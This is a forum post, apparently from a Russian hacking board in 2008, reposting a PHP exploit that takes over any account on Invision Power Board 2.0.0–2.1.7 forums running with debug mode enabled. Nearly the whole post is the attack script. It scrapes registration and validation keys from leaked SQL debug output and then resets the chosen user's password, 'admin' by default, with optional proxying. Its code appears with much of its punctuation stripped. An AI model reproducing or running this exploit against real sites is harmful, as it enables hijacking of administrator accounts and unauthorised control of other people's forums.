Показать сообщение отдельно

Invision Power Board v2.1.7 (Debug) Remote Password Change Exploit
  #6  
Старый 26.10.2008, 15:36
Jokester
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию Invision Power Board v2.1.7 (Debug) Remote Password Change Exploit

Автор Dimon_Aka_Sexxx

Invision Power Board v2.1.7 (Debug) Remote Password Change Exploit
PHP код:
<?php 
/* 

 Debug Mode password change vulnerability 
 Affects Invision Power Borard 2.0.0 to 2.1.7 
 by Rapigator 
  
 This works if: 

 "Debug Level" is set to 3 
 or 
 Enable SQL Debug Mode is turned on 
  
 In General Configuration of the forum software. 

*/ 

// The forum's address up to and including 'index.php' 
$site "http://localhost/forums/index.php"

// An existing user's login name 
$name "admin"

// The new password(3-32 characters) 
$pass "1234"

// You can use a proxy... 
// $proxy = "1.2.3.4:8080"; 



// ----------------------------- 
$site .= "?"
$suffix ""
$name urlencode($name); 
$pass urlencode($pass); 
$curl curl_init($site.'act=Reg&CODE=10'); 
curl_setopt($curlCURLOPT_PROXY$proxy); 
curl_setopt($curlCURLOPT_RETURNTRANSFER1); 
curl_setopt($curlCURLOPT_TIMEOUT10); 
$page curl_exec($curl); 
curl_close($curl); 
if (
preg_match('/<span class=\'green\'>INSERT<\/span> INTO <span class=\'purple\'>([\\w]*?)_reg_antispam<\/span> \\(regid,regcode,ip_address,ctime\\) VALUES\\(\'([\\w]{32}?)\',([\\d]*?),/'$page$regs)) { 
$prefix $regs[1]; 
$regid $regs[2]; 
$regcode $regs[3]; 
} else { 
$suffix "&debug=1"
$curl curl_init($site.'act=Reg&CODE=10'.$suffix); 
curl_setopt($curlCURLOPT_PROXY$proxy); 
curl_setopt($curlCURLOPT_RETURNTRANSFER1); 
curl_setopt($curlCURLOPT_TIMEOUT10); 
$page curl_exec($curl); 
curl_close($curl); 
if (
preg_match('/INSERT INTO ([\\w]*?)_reg_antispam \\(regid,regcode,ip_address,ctime\\) VALUES\\(\'([\\w]{32}?)\',([\\d]*?),/'$page$regs)) { 
$prefix $regs[1]; 
$regid $regs[2]; 
$regcode $regs[3]; 


if (!isset(
$regid) || !isset($regcode)) { 
echo 
"Error: Probably not vulnerable, or no forum found"
exit; 


$curl curl_init($site.$suffix); 
curl_setopt($curlCURLOPT_PROXY$proxy); 
curl_setopt($curlCURLOPT_RETURNTRANSFER1); 
curl_setopt($curlCURLOPT_POST1); 
curl_setopt($curlCURLOPT_POSTFIELDS"act=Reg&CODE=11&member_name={$name}&regid={$regid}&reg_code={$regcode}"); 
curl_setopt($curlCURLOPT_TIMEOUT10); 
$page curl_exec($curl); 
curl_close($curl); 
if (
preg_match('/<span class=\'green\'>INSERT<\/span> INTO <span class=\'purple\'>'.$prefix.'_validating<\/span> \\(vid,member_id,real_group,temp_group,entry_date,  coppa_user,lost_pass,ip_address\\) VALUES\\(\'([\\w]{32}?)\',([\\d]{1,32}?),/'$page$regs)) { 
change_pass($regcode,$regid,$regs[1],$regs[2]); 

if (
preg_match('/INSERT INTO '.$prefix.'_validating \\(vid,member_id,real_group,temp_group,entry_date,  coppa_user,lost_pass,ip_address\\) VALUES\\(\'([\\w]{32}?)\',([\\d]{1,32}?),/'$page$regs)) { 
change_pass($regcode,$regid,$regs[1],$regs[2]); 


function 
change_pass($regcode,$regid,$vid,$userid) { 
global 
$site$proxy$name$pass
$curl curl_init($site.$suffix); 
curl_setopt($curlCURLOPT_PROXY$proxy); 
curl_setopt($curlCURLOPT_RETURNTRANSFER1); 
curl_setopt($curlCURLOPT_POST1); 
curl_setopt($curlCURLOPT_POSTFIELDS"act=Reg&CODE=03&type=lostpass&uid={$userid}&aid={$vid}&regid={$regid}&reg_code={$regcode}&pass1={$pass}&pass2={$pass}"); 
curl_setopt($curlCURLOPT_TIMEOUT10); 
$page curl_exec($curl); 
curl_close($curl); 
echo 
"Password Changed!"
exit; 

?>
PS Материал востановлен
Дата публикации: 30.01.2007, 10:08
Автор Dimon_Aka_Sexxx
 
Ответить с цитированием